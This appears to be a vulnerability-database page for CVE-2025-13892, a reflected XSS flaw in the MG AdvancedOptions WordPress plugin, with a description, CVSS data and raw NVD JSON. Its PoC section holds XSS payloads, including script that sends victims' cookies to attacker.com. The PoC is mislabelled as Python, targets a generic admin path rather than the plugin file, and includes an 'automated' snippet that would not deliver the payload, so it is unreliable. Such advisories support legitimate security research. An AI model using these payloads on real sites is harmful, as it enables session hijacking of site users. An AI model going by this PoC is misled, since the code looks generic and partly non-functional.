Security Vulnerability Report
中文
CVE-2025-13892 CVSS 6.1 MEDIUM

CVE-2025-13892

Published: 2026-01-09 12:15:52
Last Modified: 2026-04-15 00:35:42

Description

The MG AdvancedOptions plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

MG AdvancedOptions plugin for WordPress <= 1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13892 Reflected XSS PoC --> <!-- Malicious URL construction --> <a href='http://victim-site.com/wp-admin/admin.php/<script>alert(document.cookie)</script>'>Click Here</a> <!-- Direct attack URL --> <!-- http://victim-site.com/wp-admin/admin.php/<script>alert('XSS')</script> --> <!-- Session hijacking payload --> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> <!-- Automated exploitation --> (function(){ var target_url = window.location.href.split('?')[0] + '/<script>fetch("https://attacker.com/log?c="+btoa(document.cookie))</script>'; var img = new Image(); img.src = target_url; })();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13892", "sourceIdentifier": "[email protected]", "published": "2026-01-09T12:15:52.347", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MG AdvancedOptions plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin MG AdvancedOptions para WordPress es vulnerable a Cross-Site Scripting Reflejado a través de la variable `$_SERVER['PHP_SELF']` en todas las versiones hasta la 1.2, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutan si logran engañar con éxito a un usuario para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mg-advancedoptions/trunk/mg-advancedoptions/MG_AdvancedOptions.php#L58", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mg-advancedoptions/trunk/mg-advancedoptions/MG_AdvancedOptions.php#L96", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/86358a01-bf69-4a7f-8b78-a0d42d362d96?source=cve", "source": "[email protected]"}]}}